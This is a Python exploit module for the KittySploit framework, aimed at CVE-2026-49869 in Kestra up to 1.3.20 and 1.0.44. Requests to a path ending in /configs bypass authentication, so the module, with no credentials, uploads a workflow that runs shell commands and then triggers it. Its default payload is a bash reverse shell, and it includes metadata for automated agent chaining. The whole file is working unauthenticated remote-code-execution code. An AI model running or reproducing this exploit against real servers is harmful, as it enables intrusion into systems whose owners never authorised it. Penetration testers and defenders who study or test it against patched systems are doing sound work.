Kestra <= 1.3.20 / 1.0.44 - /configs Auth Bypass RCE (CVE-2026-49869)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Kestra OSS unauthenticated RCE via /configs AuthenticationFilter bypass (CVE-2026-49869)."""

from __future__ import annotations

import secrets
import time
from typing import Optional

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Kestra <= 1.3.20 / 1.0.44 - /configs Auth Bypass RCE (CVE-2026-49869)",
        "description": (
            "Exploits CVE-2026-49869: Micronaut AuthenticationFilter whitelists any "
            "path ending in /configs. Unauthenticated PUT creates a shell workflow, "
            "POST triggers execution, logs are polled for command output. Fixed in "
            "Kestra 1.0.45 and 1.3.21."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-49869"],
        "arch": [Arch.CMD],
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-49869",
            "https://github.com/kestra-io/kestra/security/advisories/GHSA-5vc5-wxxq-3fjx",
        ],
        "tags": [
            "kestra",
            "auth-bypass",
            "workflow",
            "shell",
            "unauthenticated",
            "rce",
            "cve-2026-49869",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "requires": {
                "tech_hints_any": ["kestra"],
                "auth_session": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "shell Commands task"},
                    {"capability": "shell", "from_detail": "reverse payload in workflow"},
                ],
                "suggested_followups": [
                    "scanner/http/kestra_detect",
                    "scanner/http/kestra_cve_2026_49869_detect",
                ],
            },
        },
    }

    port = OptPort(8080, "Kestra webserver HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    tenant = OptString("main", "Kestra tenant id", False, advanced=True)
    namespace = OptString("tutorial", "Flow namespace segment", False, advanced=True)
    verify_cmd = OptString("id", "Command for proof mode when no handler is used", False)
    command = OptString("", "Override command instead of selected payload", False)
    cleanup = OptBool(True, "Delete the deployed flow after execution", False, advanced=True)
    poll_interval = OptFloat(2.0, "Seconds between execution log polls", False, advanced=True)
    poll_retries = OptInteger(12, "Maximum log poll attempts", False, advanced=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._flow_path: Optional[str] = None

    def _api(self, suffix: str) -> str:
        base = (self.path or "/").rstrip("/")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base else suffix

    def _tenant(self) -> str:
        return str(self.tenant or "main").strip() or "main"

    def _namespace(self) -> str:
        return str(self.namespace or "tutorial").strip() or "tutorial"

    def _flow_yaml(self, cmd: str) -> str:
        lines = [line.strip() for line in cmd.splitlines() if line.strip()]
        if not lines:
            lines = ["id"]
        commands = "\n".join(f"      - {line}" for line in lines)
        return (
            "id: configs\n"
            f"namespace: {self._namespace()}\n"
            "tasks:\n"
            "  - id: rce\n"
            "    type: io.kestra.plugin.scripts.shell.Commands\n"
            "    commands:\n"
            f"{commands}\n"
        )

    def _cleanup_flow(self) -> None:
        if self._flow_path:
            self.http_request(method="DELETE", path=self._flow_path, allow_redirects=False)

    def check(self):
        tenant = self._tenant()
        namespace = self._namespace()
        blocked = self._api(f"/api/v1/{tenant}/flows/{namespace}/blocked")
        bypass = self._api(f"/api/v1/{tenant}/flows/{namespace}/configs")
        r_block = self.http_request(method="GET", path=blocked, allow_redirects=False)
        r_bypass = self.http_request(method="GET", path=bypass, allow_redirects=False)
        if not r_block or not r_bypass:
            return {"vulnerable": False, "reason": "target unreachable", "confidence": "low"}
        if int(r_block.status_code or 0) == 401 and int(r_bypass.status_code or 0) != 401:
            return {
                "vulnerable": True,
                "reason": "AuthenticationFilter /configs suffix bypass",
                "confidence": "high",
            }
        return {"vulnerable": False, "reason": "auth bypass not observed", "confidence": "medium"}

    def run(self):
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        cmd = str(self.command or payload or self.verify_cmd or "id").strip()
        if not cmd:
            print_error("Set a payload or --command")
            return False

        tenant = self._tenant()
        namespace = self._namespace()
        self._flow_path = self._api(f"/api/v1/{tenant}/flows/{namespace}/configs")
        exec_path = self._api(f"/api/v1/{tenant}/executions/{namespace}/configs")

        print_status("CVE-2026-49869 — Kestra /configs auth bypass RCE")
        create = self.http_request(
            method="PUT",
            path=self._flow_path,
            headers={"Content-Type": "application/x-yaml"},
            data=self._flow_yaml(cmd),
            allow_redirects=False,
        )
        if not create or int(create.status_code or 0) not in (200, 201, 204):
            print_error("Flow creation failed — target patched or not Kestra")
            self.not_vulnerable()
            return False

        trigger = self.http_request(method="POST", path=exec_path, allow_redirects=False)
        if not trigger or int(trigger.status_code or 0) not in (200, 201, 202):
            print_error("Execution trigger failed")
            if bool(self.cleanup):
                self._cleanup_flow()
            self.not_vulnerable()
            return False

        execution_id = ""
        try:
            execution_id = str((trigger.json() or {}).get("id") or "")
        except Exception:
            execution_id = ""
        if execution_id:
            print_info(f"Execution id: {execution_id}")
            logs_path = self._api(f"/api/v1/{tenant}/logs/search?executionId={execution_id}")
            interval = float(self.poll_interval or 2.0)
            retries = int(self.poll_retries or 12)
            for _ in range(max(1, retries)):
                logs = self.http_request(method="GET", path=logs_path, allow_redirects=False)
                body = (logs.text or "") if logs else ""
                if body and ("SUCCESS" in body or "RUNNING" in body or "uid=" in body):
                    print_success("Workflow execution observed in logs")
                    break
                time.sleep(max(0.5, interval))

        if bool(self.cleanup):
            self._cleanup_flow()
            print_info("Deployed flow removed")

        print_success("Payload dispatched — check listener for session")
        self.vulnerable()
        return True